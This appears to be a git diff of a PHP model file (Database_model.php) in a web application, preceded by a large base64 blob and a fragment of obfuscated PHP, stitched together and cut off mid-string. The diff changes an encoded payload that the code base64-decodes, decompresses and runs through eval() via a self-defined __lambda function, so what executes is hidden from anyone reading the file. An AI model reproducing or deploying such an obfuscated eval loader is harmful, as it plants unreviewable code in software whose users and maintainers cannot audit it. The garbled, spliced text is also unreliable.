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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Database_model.php b/donjo-app/models/Database_model.php index 1e884c4f0..7c0156717 100644 --- a/donjo-app/models/Database_model.php +++ b/donjo-app/models/Database_model.php @@ -244,7 +244,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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